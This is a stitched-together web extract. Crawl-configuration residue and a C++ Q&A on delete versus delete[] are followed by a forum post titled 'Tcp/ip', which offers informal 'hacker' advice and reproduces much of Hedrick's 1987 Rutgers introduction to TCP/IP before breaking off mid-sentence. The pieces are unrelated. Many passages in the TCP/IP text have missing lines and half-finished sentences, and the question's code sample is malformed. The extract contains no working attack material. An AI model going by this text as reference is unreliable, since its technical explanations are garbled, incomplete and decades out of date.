{\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058373.45\/warc\/CC-MAIN-20210927060117-20210927090117-00652.warc.gz\"}"} | null | null |
Q: Logic in C++'s delete and delete[] In C, free() is used to release the memory, say free(ptr). As I understand, extra memory is allocated before ptr in the library code to store the block size information. After free() is called, the whole block is tracked and then released.
In C++, there are two forms of new and delete. One is for array. If new[] is used, delete[] should be used. For example,
int ptr = new [10];
delete [] ptr;
Question 1: can I use delete ptr here? If that is OK, what if delete ptr + 2?
Question 2: If delete[] has to be used to match new[], why do we need two forms of delete? Just one form, say delete, would be enough.
Thanks for all the suggestions!
Thank Mgetz. Question 2 should be: why c++ standard proposed both delete [] and delete if there is only one correct form at any situation?
A: Q1: You can use delete, but it is wrong.
This will usually "work" insofar as it will correctly free the allocated memory, but it will not call destructors properly. For trivial types, you will often not see any difference, but that doesn't mean it isn't wrong anyway. In any case it is undefined behavior which you should avoid if you can (invoking UB forfeits any guarantees that your code will work, it might of course still work, but you can never be 100% sure).
Deleting ptr+2 is also undefined behavior and will almost certainly not "work", not even a little. Usually, this will simply result in a program crash.
Q2: You need the two because they mean different things. One means "delete this pointer-to-single-object" whereas the other means "delete this pointer-to-array-of-objects".
Obviously, the compiler needs to generate different code for those different things.
A: You need the two forms because, unlike malloc and free, new and delete do more than just allocate and deallocate memory; they also construct and destruct the object(s) respectively.
new and delete deal with scalar objects, while new[] and delete[] deal with arrays of objects.
When you call new T[n], it'll allocate enough memory for n copies of T, and then construct n instances within the allocated memory. Similarly, calling delete[] will cause destruction of those n instances followed by deallocation.
Obviously, since you do not pass n to delete[] that information is being stashed away somewhere by the implementation, but the standard doesn't require an implementation to destroy all n objects if you call delete instead. The implementation could just destroy the first object, it might behave correctly and destroy all n objects or it might cause demons to fly out of your nose.
Simply put, it's undefined behavior, there's no telling what'll happen, it's best imperative you avoid it.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 1,355 |
{"url":"http:\/\/www.antionline.com\/showthread.php?250711-Tcp-ip&s=7766aec255d80de38e52a8c060c08c64","text":"1. ## Tcp\/ip\n\nWith all of the posts asking TCP\/IP questions recently, I decided it would be a good idea to make this thread. I have uploaded some of these files before, but searching through 20,000 posts is not easy when you need a quick check of something...Actually, this won't be an easy quick check either, as there is going to be a **** load of information here.\n\nI'm not posting this as a tutorial, because most of the information in this was not written by myself. However, if alot of people reply and enjoy this, or somehow lead me to believe this is a good thread, then maybe I'll write a tutorial about this. I have got a TCP\/IP class under my Crimson Ghost shaped belt, so I do have a fairly good understanding of this material.\n\nSome of this may not seem to fit into TCP\/IP, and I did think about that, and also the fact that some of this is old and or just outdated, but I am posting that information anyway so people new to all of this can see how things worked back in the day.\n\nAs for the information that may seem off topic, I just think it's important to add as much here as possible. Some of the information dealing with Hacking and so on may seem out of place, but any hacker that actually knows what they are talking about has a good understanding of how TCP\/IP and the protocols it includes all work. So I put it in.\n\nSome of this deals with security, some of it not. If you find any blatant errors, or mis leading information, please reply and point this out. I'd like people to actually learn things the right way from this, and not read it and be flamed for a misunderstanding or something.\n\nOn with the text:\n\nI have tried to list who actually wrote these, but some are older than the machine I am typing this all on and I have tried getting the originals for all of these so that you can see who wrote these, and so credit may be given to those who actually deserve it.\n\nFirst: Some general tips to keep you from being a lamer\/**** head online:\n\nI put this here because if you plan on learning TCP\/IP, you are more than likely going to be online. And hopefully this guide will help you out in not being a dick head.\n\nTip #1 - Hacking, hacking is NOT e-mail bombing, being an IRC warrior or\nharassing someone. It is the long honored trade of learning about Operating\nSystems, Unix for expamle as it's the most popular, and getting to know how\nit works inside and out. How to program for it, how to manipulate it and\ncontrol it. If you don't know about an Operating System you want to get\ninto, go learn about it. There is no magic command or word or program, that\nI know of, that will let you get and takeover any system with a wave of a\nwand. It just don't happen that way.\n\nTip #2 - This goes with Tip #1, go to school, or get some books and learn.\nRead all you can about Unix, C and TCI\/IP. I won't lie, it won't happen over\nnight, it's taken me 2 years of hard core dedication to get to the state I'm\nat now, and still I can't keep up with it! For the begginner, get a book on\nUnix, learn it, read it over and over until you KNOW it.\n\nTip #3 - Recources, and where do you get them? Well the best place to find\ninformation on the latest security flaws and hole in not CERN. They post\nonly after the problem is fixed and every sysadmin and their mother knows\nthe fix. Go to News Groups. Not the lame ones like \"alt.hackers\", the only\npeople you find there are little kids on AOL wanting to know those magic\nwords. Get on groups like \"comp.security.unix\", these are where the BIG boys\nhang out. The CEO from Sun Microsystmes posts to it, head honchos from\nNovell and University Professiors all use these. They post questions and\npossable fixes to holes no one has even thought about yet. They are gold\nmines.\n\nTip #3 - I know this may sound lame to the more vetren hacker, but get\ninvloved in a group. The ones I'm in are always passing new information to\neach other and doing, or working on little projects. I'm always amazed on\nwhat I learn from other members of my group.\n\nTip #4 - Don't e-mail people with kick ass web sites and ask them to help\nyou be a hacker. Most of the time they think you are just some lamer and\ntrash your e-mail. Like I said, It's taken me two years to get where I am\nnow, I'm NOT going to take two years to teach you what I know. Like I said\n\nTip #4 - Screw IRC, the people that you may talk to there are either there\njust to chat, or are big head ego inflated dicks. There is NO way anyone\nwill learn anything on IRC, save how to be an IRC warrior. So skip it.\n\nTip #5 - Before you go around bugging other people asking them tons of\nquestions, go look for the answer yourself. Thats a key aspect for a good\nhacker; to be able to track down and find little tid bits of information on\nobscure topics.\n\nTip #6 - I think I might of said this before, but get familer with C or a C\nbased programming language like PERL, Java, or VC++. 90% of hacking has to\ndo with you writing, or using some sort of script written in C or PERL to\nopen up an exploit or hole.\n\nWell thats all I can think of for now......\n\n\u00ca\n\n----------------------------------------------------------------------------\n\nbbuster@succeed.net\n___________________________________________________________________________\n\nAn Introduction to TCP\/IP:\n\nIntroduction\nto\nthe Internet Protocols\n\nC R\n\nC S\nComputer Science Facilities Group\nC I\n\nL S\n\nRUTGERS\nThe State University of New Jersey\n\n3 July 1987\n\nThis is an introduction to the Internet networking protocols (TCP\/IP).\nIt includes a summary of the facilities available and brief\ndescriptions of the major protocols in the family.\n\nCopyright (C) 1987, Charles L. Hedrick. Anyone may reproduce this\ndocument, in whole or in part, provided that: (1) any copy or\nrepublication of the entire document must show Rutgers University as\nthe source, and must include this notice; and (2) any other use of\nthis material must reference this manual and Rutgers University, and\nthe fact that the material is copyright by Charles Hedrick and is used\nby permission.\n\nUnix is a trademark of AT&T Technologies, Inc.\n\n1. What is TCP\/IP? 1\n2. General description of the TCP\/IP protocols 5\n2.1 The TCP level 7\n2.2 The IP level 10\n2.3 The Ethernet level 11\n3. Well-known sockets and the applications layer 12\n3.1 An example application: SMTP 15\n4. Protocols other than TCP: UDP and ICMP 17\n5. Keeping track of names and information: the domain system 18\n6. Routing 20\n8. Datagram fragmentation and reassembly 23\n9. Ethernet encapsulation: ARP 24\n\ni\n\nThis document is a brief introduction to TCP\/IP, followed by advice on\ncomplete description. It can give you a reasonable idea of the\ncapabilities of the protocols. But if you need to know any details of\nthe technology, you will want to read the standards yourself.\nThroughout the text, you will find references to the standards, in the\nform of \"RFC\" or \"IEN\" numbers. These are document numbers. The final\nsection of this document tells you how to get copies of those\nstandards.\n\n1. What is TCP\/IP?\n\nTCP\/IP is a set of protocols developed to allow cooperating computers\nto share resources across a network. It was developed by a community\nof researchers centered around the ARPAnet. Certainly the ARPAnet is\nthe best-known TCP\/IP network. However as of June, 87, at least 130\ndifferent vendors had products that support TCP\/IP, and thousands of\nnetworks of all kinds use it.\n\nFirst some basic definitions. The most accurate name for the set of\nprotocols we are describing is the \"Internet protocol suite\". TCP and\nIP are two of the protocols in this suite. (They will be described\nbelow.) Because TCP and IP are the best known of the protocols, it\nhas become common to use the term TCP\/IP or IP\/TCP to refer to the\nwhole family. It is probably not worth fighting this habit. However\nthis can lead to some oddities. For example, I find myself talking\nabout NFS as being based on TCP\/IP, even though it doesn't use TCP at\nall. (It does use IP. But it uses an alternative protocol, UDP,\ninstead of TCP. All of this alphabet soup will be unscrambled in the\nfollowing pages.)\n\nThe Internet is a collection of networks, including the Arpanet,\nNSFnet, regional networks such as NYsernet, local networks at a number\nof University and research institutions, and a number of military\nnetworks. The term \"Internet\" applies to this entire set of networks.\nThe subset of them that is managed by the Department of Defense is\nreferred to as the \"DDN\" (Defense Data Network). This includes some\nresearch-oriented networks, such as the Arpanet, as well as more\nstrictly military ones. (Because much of the funding for Internet\nprotocol developments is done via the DDN organization, the terms\nInternet and DDN can sometimes seem equivalent.) All of these\nnetworks are connected to each other. Users can send messages from\nany of them to any other, except where there are security or other\npolicy restrictions on access. Officially speaking, the Internet\nprotocol documents are simply standards adopted by the Internet\ncommunity for its own use. More recently, the Department of Defense\nissued a MILSPEC definition of TCP\/IP. This was intended to be a more\nformal definition, appropriate for use in purchasing specifications.\nHowever most of the TCP\/IP community continues to use the Internet\nstandards. The MILSPEC version is intended to be consistent with it.\n\nWhatever it is called, TCP\/IP is a family of protocols. A few provide\n1\n\n\"low-level\" functions needed for many applications. These include IP,\nTCP, and UDP. (These will be described in a bit more detail later.)\nOthers are protocols for doing specific tasks, e.g. transferring files\nbetween computers, sending mail, or finding out who is logged in on\nanother computer. Initially TCP\/IP was used mostly between\nminicomputers or mainframes. These machines had their own disks, and\ngenerally were self-contained. Thus the most important \"traditional\"\nTCP\/IP services are:\n\n- file transfer. The file transfer protocol (FTP) allows a user on\nany computer to get files from another computer, or to send files\nto another computer. Security is handled by requiring the user\nto specify a user name and password for the other computer.\nProvisions are made for handling file transfer between machines\nwith different character set, end of line conventions, etc. This\nis not quite the same thing as more recent \"network file system\"\nor \"netbios\" protocols, which will be described below. Rather,\nFTP is a utility that you run any time you want to access a file\non another system. You use it to copy the file to your own\nsystem. You then work with the local copy. (See RFC 959 for\nspecifications for FTP.)\n\n- remote login. The network terminal protocol (TELNET) allows a\nuser to log in on any other computer on the network. You start a\nremote session by specifying a computer to connect to. From that\ntime until you finish the session, anything you type is sent to\nthe other computer. Note that you are really still talking to\nyour own computer. But the telnet program effectively makes your\ncomputer invisible while it is running. Every character you type\nis sent directly to the other system. Generally, the connection\nto the remote computer behaves much like a dialup connection.\njust dialed it up. When you log off of the other computer, the\ntelnet program exits, and you will find yourself talking to your\nown computer. Microcomputer implementations of telnet generally\ninclude a terminal emulator for some common type of terminal.\n(See RFC's 854 and 855 for specifications for telnet. By the\nway, the telnet protocol should not be confused with Telenet, a\nvendor of commercial network services.)\n\n- computer mail. This allows you to send messages to users on\nother computers. Originally, people tended to use only one or\ntwo specific computers. They would maintain \"mail files\" on\nthose machines. The computer mail system is simply a way for you\nto add a message to another user's mail file. There are some\nproblems with this in an environment where microcomputers are\nused. The most serious is that a micro is not well suited to\nreceive computer mail. When you send mail, the mail software\nexpects to be able to open a connection to the addressee's\ncomputer, in order to send the mail. If this is a microcomputer,\nit may be turned off, or it may be running an application other\nthan the mail system. For this reason, mail is normally handled\nby a larger system, where it is practical to have a mail server\nrunning all the time. Microcomputer mail software then becomes a\n2\n\nuser interface that retrieves mail from the mail server. (See\nRFC 821 and 822 for specifications for computer mail. See RFC\n937 for a protocol designed for microcomputers to use in reading\nmail from a mail server.)\n\nThese services should be present in any implementation of TCP\/IP,\nexcept that micro-oriented implementations may not support computer\nmail. These traditional applications still play a very important role\nin TCP\/IP-based networks. However more recently, the way in which\nnetworks are used has been changing. The older model of a number of\nlarge, self-sufficient computers is beginning to change. Now many\ninstallations have several kinds of computers, including\nmicrocomputers, workstations, minicomputers, and mainframes. These\ncomputers are likely to be configured to perform specialized tasks.\nAlthough people are still likely to work with one specific computer,\nthat computer will call on other systems on the net for specialized\nservices. This has led to the \"server\/client\" model of network\nservices. A server is a system that provides a specific service for\nthe rest of the network. A client is another system that uses that\nservice. (Note that the server and client need not be on different\ncomputers. They could be different programs running on the same\ncomputer.) Here are the kinds of servers typically present in a\nmodern computer setup. Note that these computer services can all be\nprovided within the framework of TCP\/IP.\n\n- network file systems. This allows a system to access files on\nanother computer in a somewhat more closely integrated fashion\nthan FTP. A network file system provides the illusion that disks\nor other devices from one system are directly connected to other\nsystems. There is no need to use a special network utility to\naccess a file on another system. Your computer simply thinks it\nhas some extra disk drives. These extra \"virtual\" drives refer\nto the other system's disks. This capability is useful for\nseveral different purposes. It lets you put large disks on a few\nfrom the obvious economic benefits, this allows people working on\nseveral computers to share common files. It makes system\nmaintenance and backup easier, because you don't have to worry\nabout updating and backing up copies on lots of different\nmachines. A number of vendors now offer high-performance\ndiskless computers. These computers have no disk drives at all.\nThey are entirely dependent upon disks attached to common \"file\nservers\". (See RFC's 1001 and 1002 for a description of\nPC-oriented NetBIOS over TCP. In the workstation and\nminicomputer area, Sun's Network File System is more likely to be\nused. Protocol specifications for it are available from Sun\nMicrosystems.)\n\n- remote printing. This allows you to access printers on other\ncomputers as if they were directly attached to yours. (The most\ncommonly used protocol is the remote lineprinter protocol from\nBerkeley Unix. Unfortunately, there is no protocol document for\nthis. However the C code is easily obtained from Berkeley, so\nimplementations are common.)\n\n3\n\n- remote execution. This allows you to request that a particular\nprogram be run on a different computer. This is useful when you\ncan do most of your work on a small computer, but a few tasks\nrequire the resources of a larger system. There are a number of\ndifferent kinds of remote execution. Some operate on a command\nby command basis. That is, you request that a specific command\nor set of commands should run on some specific computer. (More\nsophisticated versions will choose a system that happens to be\nfree.) However there are also \"remote procedure call\" systems\nthat allow a program to call a subroutine that will run on\nanother computer. (There are many protocols of this sort.\nBerkeley Unix contains two servers to execute commands remotely:\nrsh and rexec. The man pages describe the protocols that they\nuse. The user-contributed software with Berkeley 4.3 contains a\n\"distributed shell\" that will distribute tasks among a set of\nsystems, depending upon load. Remote procedure call mechanisms\nhave been a topic for research for a number of years, so many\norganizations have implementations of such facilities. The most\nwidespread commercially-supported remote procedure call protocols\nseem to be Xerox's Courier and Sun's RPC. Protocol documents are\navailable from Xerox and Sun. There is a public implementation\nof Courier over TCP as part of the user-contributed software with\nBerkeley 4.3. An implementation of RPC was posted to Usenet by\nSun, and also appears as part of the user-contributed software\nwith Berkeley 4.3.)\n\n- name servers. In large installations, there are a number of\ndifferent collections of names that have to be managed. This\nfor computers, and accounts. It becomes very tedious to keep\nthis data up to date on all of the computers. Thus the databases\nare kept on a small number of systems. Other systems access the\ndata over the network. (RFC 822 and 823 describe the name server\nprotocol used to keep track of host names and Internet addresses\non the Internet. This is now a required part of any TCP\/IP\nimplementation. IEN 116 describes an older name server protocol\nthat is used by a few terminal servers and other products to look\nup host names. Sun's Yellow Pages system is designed as a\ngeneral mechanism to handle user names, file sharing groups, and\nother databases commonly used by Unix systems. It is widely\navailable commercially. Its protocol definition is available\nfrom Sun.)\n\n- terminal servers. Many installations no longer connect terminals\ndirectly to computers. Instead they connect them to terminal\nservers. A terminal server is simply a small computer that only\nknows how to run telnet (or some other protocol to do remote\nsimply type the name of a computer, and you are connected to it.\nGenerally it is possible to have active connections to more than\none computer at the same time. The terminal server will have\nprovisions to switch between connections rapidly, and to notify\nyou when output is waiting for another connection. (Terminal\nservers use the telnet protocol, already mentioned. However any\nreal terminal server will also have to support name service and a\n4\n\nnumber of other protocols.)\n\n- network-oriented window systems. Until recently, high-\nperformance graphics programs had to execute on a computer that\nhad a bit-mapped graphics screen directly attached to it.\nNetwork window systems allow a program to use a display on a\ndifferent computer. Full-scale network window systems provide an\ninterface that lets you distribute jobs to the systems that are\nbest suited to handle them, but still give you a single\ngraphically-based user interface. (The most widely-implemented\nwindow system is X. A protocol description is available from\nMIT's Project Athena. A reference implementation is publically\navailable from MIT. A number of vendors are also supporting\nNeWS, a window system defined by Sun. Both of these systems are\ndesigned to use TCP\/IP.)\n\nNote that some of the protocols described above were designed by\nBerkeley, Sun, or other organizations. Thus they are not officially\npart of the Internet protocol suite. However they are implemented\nusing TCP\/IP, just as normal TCP\/IP application protocols are. Since\nthe protocol definitions are not considered proprietary, and since\ncommercially-support implementations are widely available, it is\nreasonable to think of these protocols as being effectively part of\nthe Internet suite. Note that the list above is simply a sample of\nthe sort of services available through TCP\/IP. However it does\ncontain the majority of the \"major\" applications. The other\ncommonly-used protocols tend to be specialized facilities for getting\ninformation of various kinds, such as who is logged in, the time of\nday, etc. However if you need a facility that is not listed here, we\nencourage you to look through the current edition of Internet\nProtocols (currently RFC 1011), which lists all of the available\nprotocols, and also to look at some of the major TCP\/IP\nimplementations to see what various vendors have added.\n\n2. General description of the TCP\/IP protocols\n\nTCP\/IP is a layered set of protocols. In order to understand what\nthis means, it is useful to look at an example. A typical situation\nis sending mail. First, there is a protocol for mail. This defines a\nset of commands which one machine sends to another, e.g. commands to\nspecify who the sender of the message is, who it is being sent to, and\nthen the text of the message. However this protocol assumes that\nthere is a way to communicate reliably between the two computers.\nMail, like other application protocols, simply defines a set of\ncommands and messages to be sent. It is designed to be used together\nwith TCP and IP. TCP is responsible for making sure that the commands\nget through to the other end. It keeps track of what is sent, and\nretransmitts anything that did not get through. If any message is too\nlarge for one datagram, e.g. the text of the mail, TCP will split it\nup into several datagrams, and make sure that they all arrive\ncorrectly. Since these functions are needed for many applications,\nthey are put together into a separate protocol, rather than being part\n5\n\nof the specifications for sending mail. You can think of TCP as\nforming a library of routines that applications can use when they need\nreliable network communications with another computer. Similarly, TCP\ncalls on the services of IP. Although the services that TCP supplies\nare needed by many applications, there are still some kinds of\napplications that don't need them. However there are some services\nthat every application needs. So these services are put together into\nIP. As with TCP, you can think of IP as a library of routines that\nTCP calls on, but which is also available to applications that don't\nuse TCP. This strategy of building several levels of protocol is\ncalled \"layering\". We think of the applications programs such as\nmail, TCP, and IP, as being separate \"layers\", each of which calls on\nthe services of the layer below it. Generally, TCP\/IP applications\nuse 4 layers:\n\n- an application protocol such as mail\n\n- a protocol such as TCP that provides services need by many\napplications\n\n- IP, which provides the basic service of getting datagrams to\ntheir destination\n\n- the protocols needed to manage a specific physical medium, such\nas Ethernet or a point to point line.\n\nTCP\/IP is based on the \"catenet model\". (This is described in more\ndetail in IEN 48.) This model assumes that there are a large number\nof independent networks connected together by gateways. The user\nshould be able to access computers or other resources on any of these\nnetworks. Datagrams will often pass through a dozen different\nnetworks before getting to their final destination. The routing\nneeded to accomplish this should be completely invisible to the user.\nAs far as the user is concerned, all he needs to know in order to\nthat looks like 128.6.4.194. It is actually a 32-bit number. However\nit is normally written as 4 decimal numbers, each representing 8 bits\nof the address. (The term \"octet\" is used by Internet documentation\nfor such 8-bit chunks. The term \"byte\" is not used, because TCP\/IP is\nsupported by some computers that have byte sizes other than 8 bits.)\nGenerally the structure of the address gives you some information\nabout how to get to the system. For example, 128.6 is a network\nnumber assigned by a central authority to Rutgers University. Rutgers\nuses the next octet to indicate which of the campus Ethernets is\ninvolved. 128.6.4 happens to be an Ethernet used by the Computer\nScience Department. The last octet allows for up to 254 systems on\neach Ethernet. (It is 254 because 0 and 255 are not allowed, for\nreasons that will be discussed later.) Note that 128.6.4.194 and\n128.6.5.194 would be different systems. The structure of an Internet\naddress is described in a bit more detail later.\n\nOf course we normally refer to systems by name, rather than by\nInternet address. When we specify a name, the network software looks\nit up in a database, and comes up with the corresponding Internet\naddress. Most of the network software deals strictly in terms of the\n6\n\naddress. (RFC 882 describes the name server technology used to handle\nthis lookup.)\n\nTCP\/IP is built on \"connectionless\" technology. Information is\ntransfered as a sequence of \"datagrams\". A datagram is a collection\nof data that is sent as a single message. Each of these datagrams is\nsent through the network individually. There are provisions to open\nconnections (i.e. to start a conversation that will continue for some\ntime). However at some level, information from those connections is\nbroken up into datagrams, and those datagrams are treated by the\nnetwork as completely separate. For example, suppose you want to\ntransfer a 15000 octet file. Most networks can't handle a 15000 octet\ndatagram. So the protocols will break this up into something like 30\n500-octet datagrams. Each of these datagrams will be sent to the\nother end. At that point, they will be put back together into the\n15000-octet file. However while those datagrams are in transit, the\nnetwork doesn't know that there is any connection between them. It is\nperfectly possible that datagram 14 will actually arrive before\ndatagram 13. It is also possible that somewhere in the network, an\nerror will occur, and some datagram won't get through at all. In that\ncase, that datagram has to be sent again.\n\nNote by the way that the terms \"datagram\" and \"packet\" often seem to\nbe nearly interchangable. Technically, datagram is the right word to\nuse when describing TCP\/IP. A datagram is a unit of data, which is\nwhat the protocols deal with. A packet is a physical thing, appearing\non an Ethernet or some wire. In most cases a packet simply contains a\ndatagram, so there is very little difference. However they can\ndiffer. When TCP\/IP is used on top of X.25, the X.25 interface breaks\nthe datagrams up into 128-byte packets. This is invisible to IP,\nbecause the packets are put back together into a single datagram at\nthe other end before being processed by TCP\/IP. So in this case, one\nIP datagram would be carried by several packets. However with most\nmedia, there are efficiency advantages to sending one datagram per\npacket, and so the distinction tends to vanish.\n\n2.1 The TCP level\n\nTwo separate protocols are involved in handling TCP\/IP datagrams. TCP\n(the \"transmission control protocol\") is responsible for breaking up\nthe message into datagrams, reassembling them at the other end,\nresending anything that gets lost, and putting things back in the\nright order. IP (the \"internet protocol\") is responsible for routing\nindividual datagrams. It may seem like TCP is doing all the work.\nAnd in small networks that is true. However in the Internet, simply\ngetting a datagram to its destination can be a complex job. A\nconnection may require the datagram to go through several networks at\nRutgers, a serial line to the John von Neuman Supercomputer Center, a\ncouple of Ethernets there, a series of 56Kbaud phone lines to another\nNSFnet site, and more Ethernets on another campus. Keeping track of\nthe routes to all of the destinations and handling incompatibilities\namong different transport media turns out to be a complex job. Note\n7\n\nthat the interface between TCP and IP is fairly simple. TCP simply\nhands IP a datagram with a destination. IP doesn't know how this\ndatagram relates to any datagram before it or after it.\n\nIt may have occurred to you that something is missing here. We have\nmultiple connections to a given system. Clearly it isn't enough to\nget a datagram to the right destination. TCP has to know which\nconnection this datagram is part of. This task is referred to as\n\"demultiplexing.\" In fact, there are several levels of demultiplexing\ngoing on in TCP\/IP. The information needed to do this demultiplexing\nis contained in a series of \"headers\". A header is simply a few extra\noctets tacked onto the beginning of a datagram by some protocol in\norder to keep track of it. It's a lot like putting a letter into an\nenvelope and putting an address on the outside of the envelope.\nExcept with modern networks it happens several times. It's like you\nput the letter into a little envelope, your secretary puts that into a\nsomewhat bigger envelope, the campus mail center puts that envelope\ninto a still bigger one, etc. Here is an overview of the headers that\nget stuck on a message that passes through a typical TCP\/IP network:\n\nWe start with a single data stream, say a file you are trying to send\nto some other computer:\n\n......................................................\n\nTCP breaks it up into manageable chunks. (In order to do this, TCP\nhas to know how large a datagram your network can handle. Actually,\nthe TCP's at each end say how big a datagram they can handle, and then\nthey pick the smallest size.)\n\n.... .... .... .... .... .... .... ....\n\nTCP puts a header at the front of each datagram. This header actually\ncontains at least 20 octets, but the most important ones are a source\nand destination \"port number\" and a \"sequence number\". The port\nnumbers are used to keep track of different conversations. Suppose 3\ndifferent people are transferring files. Your TCP might allocate port\nnumbers 1000, 1001, and 1002 to these transfers. When you are sending\na datagram, this becomes the \"source\" port number, since you are the\nsource of the datagram. Of course the TCP at the other end has\nassigned a port number of its own for the conversation. Your TCP has\nto know the port number used by the other end as well. (It finds out\nwhen the connection starts, as we will explain below.) It puts this\nin the \"destination\" port field. Of course if the other end sends a\ndatagram back to you, the source and destination port numbers will be\nreversed, since then it will be the source and you will be the\ndestination. Each datagram has a sequence number. This is used so\nthat the other end can make sure that it gets the datagrams in the\nright order, and that it hasn't missed any. (See the TCP\nspecification for details.) TCP doesn't number the datagrams, but the\noctets. So if there are 500 octets of data in each datagram, the\nfirst datagram might be numbered 0, the second 500, the next 1000, the\nnext 1500, etc. Finally, I will mention the Checksum. This is a\nnumber that is computed by adding up all the octets in the datagram\n8\n\n(more or less - see the TCP spec). The result is put in the header.\nTCP at the other end computes the checksum again. If they disagree,\nthen something bad happened to the datagram in transmission, and it is\nthrown away. So here's what the datagram looks like now.\n\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Source Port | Destination Port |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Sequence Number |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Acknowledgment Number |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Data | |U|A|P|R|S|F| |\n| Offset| Reserved |R|C|S|S|Y|I| Window |\n| | |G|K|H|T|N|N| |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Checksum | Urgent Pointer |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| your data ... next 500 octets |\n| ...... |\n\nIf we abbreviate the TCP header as \"T\", the whole file now looks like\nthis:\n\nT.... T.... T.... T.... T.... T.... T....\n\nYou will note that there are items in the header that I have not\ndescribed above. They are generally involved with managing the\nconnection. In order to make sure the datagram has arrived at its\ndestination, the recipient has to send back an \"acknowledgement\".\nThis is a datagram whose \"Acknowledgement number\" field is filled in.\nFor example, sending a packet with an acknowledgement of 1500\nindicates that you have received all the data up to octet number 1500.\nIf the sender doesn't get an acknowledgement within a reasonable\namount of time, it sends the data again. The window is used to\ncontrol how much data can be in transit at any one time. It is not\npractical to wait for each datagram to be acknowledged before sending\nthe next one. That would slow things down too much. On the other\nhand, you can't just keep sending, or a fast computer might overrun\nthe capacity of a slow one to absorb data. Thus each end indicates\nhow much new data it is currently prepared to absorb by putting the\nnumber of octets in its \"Window\" field. As the computer receives\ndata, the amount of space left in its window decreases. When it goes\nto zero, the sender has to stop. As the receiver processes the data,\nit increases its window, indicating that it is ready to accept more\ndata. Often the same datagram can be used to acknowledge receipt of a\nset of data and to give permission for additional new data (by an\nupdated window). The \"Urgent\" field allows one end to tell the other\nto skip ahead in its processing to a particular octet. This is often\nuseful for handling asynchronous events, for example when you type a\ncontrol character or other command that interrupts output. The other\nfields are beyond the scope of this document.\n\n9\n\n2.2 The IP level\n\nTCP sends each of these datagrams to IP. Of course it has to tell IP\nthe Internet address of the computer at the other end. Note that this\nis all IP is concerned about. It doesn't care about what is in the\ndatagram, or even in the TCP header. IP's job is simply to find a\nroute for the datagram and get it to the other end. In order to allow\ngateways or other intermediate systems to forward the datagram, it\nthe protocol number, and another checksum. The source Internet\nthe other end knows where the datagram came from.) The destination\nnecessary so any gateways in the middle know where you want the\ndatagram to go.) The protocol number tells IP at the other end to\nsend the datagram to TCP. Although most IP traffic uses TCP, there\nare other protocols that can use IP, so you have to tell IP which\nprotocol to send the datagram to. Finally, the checksum allows IP at\nthe other end to verify that the header wasn't damaged in transit.\nNote that TCP and IP have separate checksums. IP needs to be able to\nverify that the header didn't get damaged in transit, or it could send\na message to the wrong place. For reasons not worth discussing here,\nit is both more efficient and safer to have TCP compute a separate\nchecksum for the TCP header and data. Once IP has tacked on its\nheader, here's what the message looks like:\n\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|Version| IHL |Type of Service| Total Length |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Identification |Flags| Fragment Offset |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| Time to Live | Protocol | Header Checksum |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n| |\n\nIf we represent the IP header by an \"I\", your file now looks like\nthis:\n\nIT.... IT.... IT.... IT.... IT.... IT.... IT....\n\ndiscussed. Most of them are beyond the scope of this document. The\nflags and fragment offset are used to keep track of the pieces when a\ndatagram has to be split up. This can happen when datagrams are\nforwarded through a network for which they are too big. (This will be\ndiscussed a bit more below.) The time to live is a number that is\ndecremented whenever the datagram passes through a system. When it\ngoes to zero, the datagram is discarded. This is done in case a loop\n10\n\ndevelops in the system somehow. Of course this should be impossible,\nbut well-designed networks are built to cope with \"impossible\"\nconditions.\n\nAt this point, it's possible that no more headers are needed. If your\ncomputer happens to have a direct phone line connecting it to the\ndestination computer, or to a gateway, it may simply send the\ndatagrams out on the line (though likely a synchronous protocol such\nas HDLC would be used, and it would add at least a few octets at the\nbeginning and end).\n\n2.3 The Ethernet level\n\nHowever most of our networks these days use Ethernet. So now we have\nto describe Ethernet's headers. Unfortunately, Ethernet has its own\naddresses. The people who designed Ethernet wanted to make sure that\nno two machines would end up with the same Ethernet address.\nFurthermore, they didn't want the user to have to worry about\nassigning addresses. So each Ethernet controller comes with an\naddress builtin from the factory. In order to make sure that they\nwould never have to reuse addresses, the Ethernet designers allocated\n48 bits for the Ethernet address. People who make Ethernet equipment\nhave to register with a central authority, to make sure that the\nnumbers they assign don't overlap any other manufacturer. Ethernet is\na \"broadcast medium\". That is, it is in effect like an old party line\ntelephone. When you send a packet out on the Ethernet, every machine\non the network sees the packet. So something is needed to make sure\nthat the right machine gets it. As you might guess, this involves the\nincludes the source and 